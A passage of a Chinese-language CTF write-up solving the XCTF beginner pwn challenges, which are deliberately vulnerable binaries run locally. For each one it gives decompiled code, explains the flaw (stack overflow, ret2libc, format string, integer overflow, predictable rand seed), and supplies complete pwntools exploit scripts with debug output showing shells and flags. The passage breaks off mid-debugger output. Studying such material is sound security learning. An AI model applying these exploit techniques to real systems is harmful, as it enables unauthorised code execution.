-
-
[原创]XCTF攻防世界-pwn新手练习区全部十题解析
-
发表于: 2021-5-14 00:34 13631
-
最近在看《CTF权威指南-pwn篇》,有时候一个题目觉得看懂了exp和知识点,实际上感受不深可能过几天全忘了。所以我选择做真题加深知识的理解。这里,使用攻防世界的所有pwn新手题来温习一些基本的利用方式。
p.s. 攻防世界创建在线场景一直失败,真是醉了
hello_pwn
主要逻辑如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | __int64 __fastcall main(__int64 a1, char * * a2, char * * a3) { alarm( 0x3Cu ); setbuf(stdout, 0LL ); puts( "~~ welcome to ctf ~~ " ); puts( "lets get helloworld for bof" ); read( 0 , &Buf_601068, 0x10uLL ); if ( target_60106C = = 'nuaa' ) sub_400686(); return 0LL ; } __int64 sub_400686() { system( "cat flag.txt" ); return 0LL ; } |
典型的ret2win,变量位于.bss段:
1 2 3 4 5 | 0000601068 ?? Buf_601068 db ? ; ; DATA XREF: main + 3B ↑o .bss: 0000000000601069 ?? db ? ; .bss: 000000000060106A ?? db ? ; .bss: 000000000060106B ?? db ? ; .bss: 000000000060106C ?? ?? ?? ?? target_60106C dd ? ; DATA XREF: main + 4A ↑r |
直接溢出获取flag:
1 2 3 4 5 6 7 8 9 10 | dc@ubuntu:~ / playground / xctf_word / pwn$ echo '12345' > flag.txt dc@ubuntu:~ / playground / xctf_word / pwn$ . / 4f2f44c9471d4dc2b59768779e378282 ~~ welcome to ctf ~~ lets get helloworld for bof 1111nuaa dc@ubuntu:~ / playground / xctf_word / pwn$ . / 4f2f44c9471d4dc2b59768779e378282 ~~ welcome to ctf ~~ lets get helloworld for bof 1111aaun 12345 |
因为是使用小端序比较数据,所以需要反转下字符串。第一题简单是预想之内的情况,不知道接下来是什么难度。
level0
简单栈溢出,主要流程如下:
1 2 3 4 5 6 7 8 9 10 | ssize_t vulnerable_function() { char buf; / / [rsp + 0h ] [rbp - 80h ] return read( 0 , &buf, 0x200uLL ); } int callsystem() { return system( "/bin/sh" ); } |
这里直接ret2到具体调用system的地方:
1 2 3 4 5 6 | text: 0000000000400596 55 push rbp .text: 0000000000400597 48 89 E5 mov rbp, rsp .text: 000000000040059A BF 84 06 40 00 mov edi, offset command ; "/bin/sh" < - - - - - - .text: 000000000040059F E8 BC FE FF FF call _system .text: 00000000004005A4 5D pop rbp .text: 00000000004005A5 C3 retn |
脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | from pwn import * context.log_level = "DEBUG" io = process( '291721f42a044f50a2aead748d539df0' ) win_function = 0x40059A payload = 'A' * 0x88 + p64(win_function) io.recv() pwnlib.gdb.attach(io,gdbscript = ''' break *0x4005C5 c ''' ) pause() io.send(payload) io.interactive() |
level2
题目提示rop,然而我直接ret2libc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | dc@ubuntu:~ / playground / xctf_word / pwn$ pwn checksec 1ab77c073b4f4524b73e086d063f884e [ * ] '/home/dc/playground/xctf_word/pwn/1ab77c073b4f4524b73e086d063f884e' Arch: i386 - 32 - little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE ( 0x8048000 ) dc@ubuntu:~ / playground / xctf_word / pwn$ ssize_t vulnerable_function() { char buf; / / [esp + 0h ] [ebp - 88h ] system( "echo Input:" ); return read( 0 , &buf, 0x100u ); } |
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | from pwn import * context.log_level = "DEBUG" io = process( './1ab77c073b4f4524b73e086d063f884e' ) elf = ELF( './1ab77c073b4f4524b73e086d063f884e' ) hit_binsh = 0x804A024 payload = 'A' * 0x8C + p32(elf.sym[ 'system' ]) + 'A' * 4 + p32(hit_binsh) io.recv() pwnlib.gdb.attach(io,gdbscript = ''' break *0x804847F c ''' ) pause() io.send(payload) io.interactive() |
看了下其他人写的wp,似乎rop提示对应的是x64版本的程序,因为x64环境下的传参方式从栈传递变成了寄存器rdi,rsi,rcx,rdx,r8,r9传参,所以调用system时需要特殊gadget(pop rdi)将字符串/bin/sh赋给rdi的形式构造参数。
string
程序流程比较长,这里笔者长话短说简单阐述下程序情况;首先有个alarm会结束程序运行,使用sed -i s/alarm/isnan/g ./1d3c852354df4609bf8e56fe8e9df316
将其直接替换掉1。
安全机制如下:
1 2 3 4 5 6 7 | dc@ubuntu:~ / playground / xctf_word / pwn$ pwn checksec 1d3c852354df4609bf8e56fe8e9df316 [ * ] '/home/dc/playground/xctf_word/pwn/1d3c852354df4609bf8e56fe8e9df316' Arch: amd64 - 64 - little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE ( 0x400000 ) |
嗯保护很全,程序最后mmap了一段内存让我们输入然后跳过去执行:
1 2 3 4 5 6 7 | if ( * HEAP_1_D_2_U = = HEAP_1_D_2_U[ 1 ] ) { puts( "Wizard: I will help you! USE YOU SPELL" ); v1 = mmap( 0LL , 0x1000uLL , 7 , 33 , - 1 , 0LL ); read( 0 , v1, 0x100uLL ); (v1)( 0LL , v1); } |
需要使用它的格式化字符串漏洞将堆上的首个数据设置成0x55:
1 2 3 4 5 | _isoc99_scanf( "%ld" , &v2); puts( "And, you wish is:" ); _isoc99_scanf( "%s" , & format ); puts( "Your wish is" ); printf(& format , & format ); |
在调试中调用printf时栈情况如下:
1 2 3 4 5 6 7 8 | 0x00007fffffffdb28 │ + 0x0000 : 0x0000000000400c83 → mov edi, 0x401c23 ← $rsp 0x00007fffffffdb30 │ + 0x0008 : 0x00000001f7dca2a0 0x00007fffffffdb38 │ + 0x0010 : 0x0000000000604260 → 0x0000005500000044 ( "D" ?) 0x00007fffffffdb40 │ + 0x0018 : 0x0000000078243125 ( "%1$x" ?) ← $rdi 0x00007fffffffdb48 │ + 0x0020 : 0x00007ffff7a6f4d3 → <_IO_file_overflow + 259 > cmp eax, 0xffffffff 0x00007fffffffdb50 │ + 0x0028 : 0x0000000000000022 ("""?) 0x00007fffffffdb58 │ + 0x0030 : 0x00007ffff7dce760 → 0x00000000fbad2887 0x00007fffffffdb60 │ + 0x0038 : 0x0000000000401a68 → "So, where you will go?east or up?:" |
栈中第二个参数为之前输入的地址数据,那么在x64环境中使用"%7$n"去定位Heap[0],py如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | from pwn import * context.arch = "amd64" context.log_level = "DEBUG" io = process( './1d3c852354df4609bf8e56fe8e9df316' ) io.recvuntil( 'secret[0] is ' ) secret1 = int (io.recvuntil( '\n' ), 16 ) io.recvuntil( 'secret[1] is ' ) secret2 = int (io.recvuntil( '\n' ), 16 ) log.info( "%s %s" % (secret1,secret2)) io.recv() io.sendline( 'noname' ) io.recv() io.sendline( 'east' ) io.recv() io.sendline( '1' ) io.recv() #'Give me an address' io.sendline( str (secret1)) io.recv() io.sendline( '%085d%7$n' ) io.recv() io.send(asm(shellcraft.sh())) io.interactive() |
guess_num
这题很简单:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | __int64 __fastcall main(__int64 a1, char * * a2, char * * a3) { int input_num; / / [rsp + 4h ] [rbp - 3Ch ] int index; / / [rsp + 8h ] [rbp - 38h ] int rand_num; / / [rsp + Ch] [rbp - 34h ] char name; / / [rsp + 10h ] [rbp - 30h ] unsigned int seed[ 2 ]; / / [rsp + 30h ] [rbp - 10h ] unsigned __int64 v9; / / [rsp + 38h ] [rbp - 8h ] v9 = __readfsqword( 0x28u ); setbuf(stdin, 0LL ); setbuf(stdout, 0LL ); setbuf(stderr, 0LL ); input_num = 0 ; rand_num = 0 ; * seed = sub_BB0(); puts( "-------------------------------" ); puts( "Welcome to a guess number game!" ); puts( "-------------------------------" ); puts( "Please let me know your name!" ); printf( "Your name:" , 0LL ); gets(&name); srand(seed[ 0 ]); for ( index = 0 ; index < = 9 ; + + index ) { rand_num = rand() % 6 + 1 ; printf( "-------------Turn:%d-------------\n" , (index + 1 )); printf( "Please input your guess number:" ); __isoc99_scanf( "%d" , &input_num); puts( "---------------------------------" ); if ( input_num ! = rand_num ) { puts( "GG!" ); exit( 1 ); } puts( "Success!" ); } win_C3E(); return 0LL ; } __int64 sub_BB0() { int fd; / / [rsp + Ch] [rbp - 14h ] __int64 buf; / / [rsp + 10h ] [rbp - 10h ] unsigned __int64 v3; / / [rsp + 18h ] [rbp - 8h ] v3 = __readfsqword( 0x28u ); fd = open ( "/dev/urandom" , 0 ); if ( fd < 0 || read(fd, &buf, 8uLL ) < 0 ) exit( 1 ); if ( fd > 0 ) close(fd); return buf; } __int64 sub_C3E() { printf( "You are a prophet!\nHere is your flag!" ); system( "cat flag" ); return 0LL ; } |
程序从/dev/urandom2中取出随机数作为种子,生成十个随机数让我们猜测,猜对十个随机数即可获胜。这里有一个知识点是当seed固定时,之后生成的随机数都是一样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 | dc@ubuntu:~ / playground / xctf_word / pwn$ cat ten_rand_nums_.c #include <stdio.h> #include <stdlib.h> /* srand, rand */ int main(void) { srand( 0 ); for ( int index = 0 ; index ! = 10 ; index + + ) printf( "%d " ,(rand() % 6 + 1 )); return 0 ; } |
可以观察下面的输出:
1 2 3 4 | dc@ubuntu:~ / playground / xctf_word / pwn$ gcc ten_rand_nums_.c - o ten_rand_nums dc@ubuntu:~ / playground / xctf_word / pwn$ . / ten_rand_nums 2 5 4 2 6 2 5 1 4 2 dc@ubuntu:~ / playground / xctf_word / pwn$ . / ten_rand_nums 2 5 4 2 6 2 5 1 4 2 dc@ubuntu:~ / playground / xctf_word / pwn$ |
从而我们可以利用程序的缓冲区溢出覆盖掉seed的值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | - 0000000000000030 name db ? - 000000000000002F db ? ; undefined - 000000000000002E db ? ; undefined - 000000000000002D db ? ; undefined - 000000000000002C db ? ; undefined - 000000000000002B db ? ; undefined - 000000000000002A db ? ; undefined - 0000000000000029 db ? ; undefined - 0000000000000028 db ? ; undefined - 0000000000000027 db ? ; undefined - 0000000000000026 db ? ; undefined - 0000000000000025 db ? ; undefined - 0000000000000024 db ? ; undefined - 0000000000000023 db ? ; undefined - 0000000000000022 db ? ; undefined - 0000000000000021 db ? ; undefined - 0000000000000020 db ? ; undefined - 000000000000001F db ? ; undefined - 000000000000001E db ? ; undefined - 000000000000001D db ? ; undefined - 000000000000001C db ? ; undefined - 000000000000001B db ? ; undefined - 000000000000001A db ? ; undefined - 0000000000000019 db ? ; undefined - 0000000000000018 db ? ; undefined - 0000000000000017 db ? ; undefined - 0000000000000016 db ? ; undefined - 0000000000000015 db ? ; undefined - 0000000000000014 db ? ; undefined - 0000000000000013 db ? ; undefined - 0000000000000012 db ? ; undefined - 0000000000000011 db ? ; undefined - 0000000000000010 seed dd 2 dup(?) |
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | from pwn import * context.log_level = "DEBUG" nums = [ 2 , 5 , 4 , 2 , 6 , 2 , 5 , 1 , 4 , 2 ] io = process( './b59204f56a0545e8a22f8518e749f19f' ) io.recv() io.sendline( 'A' * 0x20 + '\x00' * 4 ) for num in nums: io.recv() io.sendline( str (num)) io.recv() |
效果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 | dc@ubuntu:~ / playground / xctf_word / pwn$ python payload_b59204f56a0545e8a22f8518e749f19f.py [ + ] Starting local process './b59204f56a0545e8a22f8518e749f19f' argv = [ './b59204f56a0545e8a22f8518e749f19f' ] : pid 5635 [DEBUG] Received 0x88 bytes: '-------------------------------\n' 'Welcome to a guess number game!\n' '-------------------------------\n' 'Please let me know your name!\n' 'Your name:' [DEBUG] Sent 0x25 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000020 00 00 00 00 0a │····│·│ 00000025 [DEBUG] Received 0x40 bytes: '-------------Turn:1-------------\n' 'Please input your guess number:' [DEBUG] Sent 0x2 bytes: '2\n' [DEBUG] Received 0x6b bytes: '---------------------------------\n' 'Success!\n' '-------------Turn:2-------------\n' 'Please input your guess number:' [DEBUG] Sent 0x2 bytes: '5\n' [DEBUG] Received 0x6b bytes: '---------------------------------\n' 'Success!\n' '-------------Turn:3-------------\n' 'Please input your guess number:' [DEBUG] Sent 0x2 bytes: '4\n' [DEBUG] Received 0x6b bytes: '---------------------------------\n' 'Success!\n' '-------------Turn:4-------------\n' 'Please input your guess number:' [DEBUG] Sent 0x2 bytes: '2\n' [DEBUG] Received 0x6b bytes: '---------------------------------\n' 'Success!\n' '-------------Turn:5-------------\n' 'Please input your guess number:' [DEBUG] Sent 0x2 bytes: '6\n' [DEBUG] Received 0x6b bytes: '---------------------------------\n' 'Success!\n' '-------------Turn:6-------------\n' 'Please input your guess number:' [DEBUG] Sent 0x2 bytes: '2\n' [DEBUG] Received 0x6b bytes: '---------------------------------\n' 'Success!\n' '-------------Turn:7-------------\n' 'Please input your guess number:' [DEBUG] Sent 0x2 bytes: '5\n' [DEBUG] Received 0x6b bytes: '---------------------------------\n' 'Success!\n' '-------------Turn:8-------------\n' 'Please input your guess number:' [DEBUG] Sent 0x2 bytes: '1\n' [DEBUG] Received 0x6b bytes: '---------------------------------\n' 'Success!\n' '-------------Turn:9-------------\n' 'Please input your guess number:' [DEBUG] Sent 0x2 bytes: '4\n' [DEBUG] Received 0x6c bytes: '---------------------------------\n' 'Success!\n' '-------------Turn:10-------------\n' 'Please input your guess number:' [DEBUG] Sent 0x2 bytes: '2\n' [ * ] Process './b59204f56a0545e8a22f8518e749f19f' stopped with exit code 0 (pid 5635 ) [DEBUG] Received 0x5a bytes: '---------------------------------\n' 'Success!\n' 'You are a prophet!\n' 'Here is your flag!fake_flag\n' |
int_overflow
题目关键点如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | char * login() { char passwd; / / [esp + 0h ] [ebp - 228h ] char username; / / [esp + 200h ] [ebp - 28h ] memset(&username, 0 , 0x20u ); memset(&passwd, 0 , 0x200u ); puts( "Please input your username:" ); read( 0 , &username, 0x19u ); printf( "Hello %s\n" , &username); puts( "Please input your passwd:" ); read( 0 , &passwd, 0x199u ); return check_passwd(&passwd); } char * __cdecl check_passwd(char * passwd) { char * result; / / eax char dest; / / [esp + 4h ] [ebp - 14h ] unsigned __int8 len_passwd; / / [esp + Fh] [ebp - 9h ] len_passwd = strlen(passwd); if ( len_passwd < = 3u || len_passwd > 8u ) { puts( "Invalid Password" ); result = fflush(stdout); } else / / 8 > = pass > 3 { puts( "Success" ); fflush(stdout); result = strcpy(&dest, passwd); } return result; } |
有个巨大问题是居然使用al赋给变量值:
1 | .text: 080486B8 88 45 F7 mov [ebp + len_passwd], al |
所以这可以利用整数溢出的方式,构造261个长度的密码并调试到这一行指令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | $eax : 0x106 $ebx : 0x0 $ecx : 0x20 $edx : 0x6 $esp : 0xffffcbf0 → 0xf7fb5d80 → 0xfbad2887 $ebp : 0xffffcc08 → 0xffffce48 → 0xffffce68 → 0x00000000 $esi : 0xf7fb5000 → 0x001d7d8c $edi : 0x0 $eip : 0x080486b8 → <check_passwd + 20 > mov BYTE PTR [ebp - 0x9 ], al $eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0xffffcbf0 │ + 0x0000 : 0xf7fb5d80 → 0xfbad2887 ← $esp 0xffffcbf4 │ + 0x0004 : 0x0804899e → "Hello %s\n" 0xffffcbf8 │ + 0x0008 : 0xf7e44cab → <puts + 11 > add edi, 0x170355 0xffffcbfc │ + 0x000c : 0x00000000 0xffffcc00 │ + 0x0010 : 0xf7fb5000 → 0x001d7d8c 0xffffcc04 │ + 0x0014 : 0x00000000 0xffffcc08 │ + 0x0018 : 0xffffce48 → 0xffffce68 → 0x00000000 ← $ebp 0xffffcc0c │ + 0x001c : 0x080487c4 → <login + 164 > add esp, 0x10 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86: 32 ──── 0x80486ad <check_passwd + 9 > push DWORD PTR [ebp + 0x8 ] 0x80486b0 <check_passwd + 12 > call 0x8048540 <strlen@plt> 0x80486b5 <check_passwd + 17 > add esp, 0x10 → 0x80486b8 <check_passwd + 20 > mov BYTE PTR [ebp - 0x9 ], al 0x80486bb <check_passwd + 23 > cmp BYTE PTR [ebp - 0x9 ], 0x3 0x80486bf <check_passwd + 27 > jbe 0x80486fc <check_passwd + 88 > 0x80486c1 <check_passwd + 29 > cmp BYTE PTR [ebp - 0x9 ], 0x8 0x80486c5 <check_passwd + 33 > ja 0x80486fc <check_passwd + 88 > 0x80486c7 <check_passwd + 35 > sub esp, 0xc ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [ #0] Id 1, Name: "51ed19eacdea43e", stopped 0x80486b8 in check_passwd (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [ #0] 0x80486b8 → check_passwd() [ #1] 0x80487c4 → login() [ #2] 0x804889c → main() ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Breakpoint 1 , 0x080486b8 in check_passwd () gef➤ p $al $ 1 = 0x6 |
构造py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | from pwn import * #context.log_level = "DEBUG" function_frame = 'A' * 0x18 + p32( 0x804868B ) padding = 'A' * ( 261 - len (function_frame)) payload = function_frame + padding io = process( './51ed19eacdea43e3bd67217d08eb8a0e' ) io.recv() io.send( '1\n' ) io.recv() io.send( 'noname' ) io.recv() io.send(payload) print (io.recv()) |
效果:
1 2 3 4 5 6 | dc@ubuntu:~ / playground / xctf_word / pwn$ python payload_51ed19eacdea43e3bd67217d08eb8a0e.py [ + ] Starting local process './51ed19eacdea43e3bd67217d08eb8a0e' : pid 5787 Success fake_flag [ * ] Stopped process './51ed19eacdea43e3bd67217d08eb8a0e' (pid 5787 ) |
cgpwn2
程序关键点如下:
1 2 3 4 | puts( "please tell me your name" ); fgets(name, 50 , stdin); puts( "hello,you can leave some message here:" ); return gets(&message); |
gets存在栈溢出危险,我们直接ret到pwn函数中的call system,借用name作为参数'/bin/sh',编写py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | from pwn import * context.log_level = "DEBUG" io = process( './53c24fc5522e4a8ea2d9ad0577196b2f' ) io.recv() io.sendline( '/bin/sh\x00' ) io.recv() pwnlib.gdb.attach(io,gdbscript = ''' break *0x8048603 c ''' ) binsh_address = 0x0804A080 pwn_fun = 0x804855A io.sendline( 'A' * 0x2A + p32(pwn_fun) + p32(binsh_address)) io.interactive() |
get_shell
额和名字一样运行就拿shell了:
1 2 3 4 | dc@ubuntu:~ / playground / xctf_word / pwn$ . / fb99f86956bd401da271f57d22010481 OK,this time we will get a shell. $ whoami dc |
level3
这题目《ctf竞赛权威指南》上有很相似的例子(page 80),总之就是泄露libc的地址,然后再调用system:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | from pwn import * context.log_level = "DEBUG" libc = ELF( './libc_32.so.6' ) elf = ELF( './level3' ) vulnerable_function = 0x804844B u = make_unpacker( 32 , endian = 'little' , sign = 'unsigned' ) #io = process('./level3',env = {'LD_PRELOAD':'~/playground/xctf_word/pwn/level3/libc_32.so.6'}) #full libc path is required io = remote( '127.0.0.1' , '10001' ) io.recv() payload = 0x8c * 'A' + p32(elf.plt[ 'write' ]) + p32(vulnerable_function) + p32( 1 ) + p32(elf.got[ 'write' ]) + p32( 4 ) io.send(payload) write_got = u32(io.recv()[ 0 : 4 ]) log.info( "real write address in libc is 0x%x" % write_got) libc_base = write_got - libc.sym[ 'write' ] system_address = libc_base + libc.sym[ 'system' ] binsh_address = libc_base + next (libc.search( '/bin/sh' )) log.info( "system address is 0x%x,/bin/sh address is 0x%x" % (system_address,binsh_address)) pause() payload2 = 0x8c * 'A' + p32(system_address) + p32( 0xdeadbeef ) + p32(binsh_address) io.send(payload2) io.interactive() |
这里参考了大佬的博文更换程序libc3,但运行时还是会报错,索性直接把libc换了然后动态加载器执行:
1 2 | dc@ubuntu:~ / playground / xctf_word / pwn / level3$ patchelf - - replace - needed libc.so. 6 . / libc_32.so. 6 . / level3 dc@ubuntu:~ / playground / xctf_word / pwn / level3$ socat tcp4 - listen: 10001 ,reuseaddr,fork exec : './ld-2.23.so ./level3' |
然后用我的exp就成功执行了,反正可以模拟远程连接的环境也就行了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 | dc@ubuntu:~ / playground / xctf_word / pwn / level3$ socat - TCP: 127.0 . 0.1 : 10001 Input : 1 Hello, World! dc@ubuntu:~ / playground / xctf_word / pwn / level3$ python exp.py [DEBUG] PLT 0x176b0 _Unwind_Find_FDE [DEBUG] PLT 0x176c0 realloc [DEBUG] PLT 0x176e0 memalign [DEBUG] PLT 0x17710 _dl_find_dso_for_object [DEBUG] PLT 0x17720 calloc [DEBUG] PLT 0x17730 ___tls_get_addr [DEBUG] PLT 0x17740 malloc [DEBUG] PLT 0x17748 free [ * ] '/home/dc/playground/xctf_word/pwn/level3/libc_32.so.6' Arch: i386 - 32 - little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [DEBUG] PLT 0x8048310 read [DEBUG] PLT 0x8048320 __gmon_start__ [DEBUG] PLT 0x8048330 __libc_start_main [DEBUG] PLT 0x8048340 write [ * ] '/home/dc/playground/xctf_word/pwn/level3/level3' Arch: i386 - 32 - little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE ( 0x8047000 ) [ + ] Opening connection to 127.0 . 0.1 on port 10001 : Done [DEBUG] Received 0x7 bytes: 'Input:\n' [DEBUG] Sent 0xa0 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000080 41 41 41 41 41 41 41 41 41 41 41 41 40 83 04 08 │AAAA│AAAA│AAAA│@···│ 00000090 4b 84 04 08 01 00 00 00 18 a0 04 08 04 00 00 00 │K···│····│····│····│ 000000a0 [DEBUG] Received 0xb bytes: 00000000 c0 43 ef f7 49 6e 70 75 74 3a 0a │·C··│Inpu│t:·│ 0000000b [ * ] real write address in libc is 0xf7ef43c0 [ * ] system address is 0xf7e5a940 , / bin / sh address is 0xf7f7902b [ * ] Paused (press any to continue ) [DEBUG] Sent 0x98 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000080 41 41 41 41 41 41 41 41 41 41 41 41 40 a9 e5 f7 │AAAA│AAAA│AAAA│@···│ 00000090 ef be ad de 2b 90 f7 f7 │····│ + ···│ 00000098 [ * ] Switching to interactive mode $ whoami [DEBUG] Sent 0x7 bytes: 'whoami\n' [DEBUG] Received 0x3 bytes: 'dc\n' dc $ |
CGfsb
一个典型的字符串格式化漏洞,需要我们修改某个变量的值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | int __cdecl main( int argc, const char * * argv, const char * * envp) { int buf; / / [esp + 1Eh ] [ebp - 7Eh ] int v5; / / [esp + 22h ] [ebp - 7Ah ] __int16 v6; / / [esp + 26h ] [ebp - 76h ] char message; / / [esp + 28h ] [ebp - 74h ] unsigned int v8; / / [esp + 8Ch ] [ebp - 10h ] v8 = __readgsdword( 0x14u ); setbuf(stdin, 0 ); setbuf(stdout, 0 ); setbuf(stderr, 0 ); buf = 0 ; v5 = 0 ; v6 = 0 ; memset(&message, 0 , 0x64u ); puts( "please tell me your name:" ); read( 0 , &buf, 0xAu ); puts( "leave your message please:" ); fgets(&message, 0x64 , stdin); printf( "hello %s" , &buf); puts( "your message is:" ); printf(&message); if ( pwnme = = 8 ) { puts( "you pwned me, here is your flag:\n" ); system( "cat flag" ); } else { puts( "Thank you!" ); } return 0 ; } |
gdb调试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 | gef➤ break * 0x80486CD Breakpoint 1 at 0x80486cd gef➤ r Starting program: / home / dc / playground / xctf_word / pwn / CGfsb please tell me your name: noname leave your message please: AAAAAAAAA hello noname your message is : [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffce48 → "AAAAAAAAA\n" $ebx : 0xffffce48 → "AAAAAAAAA\n" $ecx : 0xf7fb5dc7 → 0xfb68900a $edx : 0xf7fb6890 → 0x00000000 $esp : 0xffffce20 → 0xffffce48 → "AAAAAAAAA\n" $ebp : 0xffffcec8 → 0x00000000 $esi : 0xf7fb5000 → 0x001d7d8c $edi : 0xffffceac → 0xc5585300 $eip : 0x080486cd → <main + 256 > call 0x8048460 <printf@plt> $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ──────────────────────────────────────────────────────────────────────────────────── stack ──── 0xffffce20 │ + 0x0000 : 0xffffce48 → "AAAAAAAAA\n" ← $esp 0xffffce24 │ + 0x0004 : 0xffffce3e → "noname\n" 0xffffce28 │ + 0x0008 : 0xf7fb55c0 → 0xfbad208b 0xffffce2c │ + 0x000c : 0xffffce8c → 0x00000000 0xffffce30 │ + 0x0010 : 0xf7ffda9c → 0xf7fd03e0 → 0xf7ffd940 → 0x00000000 0xffffce34 │ + 0x0014 : 0x00000001 0xffffce38 │ + 0x0018 : 0xf7fd0410 → 0x0804834b → "GLIBC_2.0" 0xffffce3c │ + 0x001c : 0x6f6e0001 ────────────────────────────────────────────────────────────────────────────── code:x86: 32 ──── 0x80486c1 <main + 244 > call 0x8048490 <puts@plt> 0x80486c6 <main + 249 > lea eax, [esp + 0x28 ] 0x80486ca <main + 253 > mov DWORD PTR [esp], eax → 0x80486cd <main + 256 > call 0x8048460 <printf@plt> ↳ 0x8048460 <printf@plt + 0 > jmp DWORD PTR ds: 0x804a014 0x8048466 <printf@plt + 6 > push 0x10 0x804846b <printf@plt + 11 > jmp 0x8048430 0x8048470 <fgets@plt + 0 > jmp DWORD PTR ds: 0x804a018 0x8048476 <fgets@plt + 6 > push 0x18 0x804847b <fgets@plt + 11 > jmp 0x8048430 ────────────────────────────────────────────────────────────────────── arguments (guessed) ──── printf@plt ( ) ────────────────────────────────────────────────────────────────────────────────── threads ──── [ #0] Id 1, Name: "CGfsb", stopped 0x80486cd in main (), reason: BREAKPOINT ──────────────────────────────────────────────────────────────────────────────────── trace ──── [ #0] 0x80486cd → main() ─────────────────────────────────────────────────────────────────────────────────────────────── [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffce48 → "AAAAAAAAA\n" $ebx : 0xffffce48 → "AAAAAAAAA\n" $ecx : 0xf7fb5dc7 → 0xfb68900a $edx : 0xf7fb6890 → 0x00000000 $esp : 0xffffce20 → 0xffffce48 → "AAAAAAAAA\n" $ebp : 0xffffcec8 → 0x00000000 $esi : 0xf7fb5000 → 0x001d7d8c $edi : 0xffffceac → 0xc5585300 $eip : 0x080486cd → <main + 256 > call 0x8048460 <printf@plt> $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ──────────────────────────────────────────────────────────────────────────────────── stack ──── 0xffffce20 │ + 0x0000 : 0xffffce48 → "AAAAAAAAA\n" ← $esp 0xffffce24 │ + 0x0004 : 0xffffce3e → "noname\n" 0xffffce28 │ + 0x0008 : 0xf7fb55c0 → 0xfbad208b 0xffffce2c │ + 0x000c : 0xffffce8c → 0x00000000 0xffffce30 │ + 0x0010 : 0xf7ffda9c → 0xf7fd03e0 → 0xf7ffd940 → 0x00000000 0xffffce34 │ + 0x0014 : 0x00000001 0xffffce38 │ + 0x0018 : 0xf7fd0410 → 0x0804834b → "GLIBC_2.0" 0xffffce3c │ + 0x001c : 0x6f6e0001 ────────────────────────────────────────────────────────────────────────────── code:x86: 32 ──── 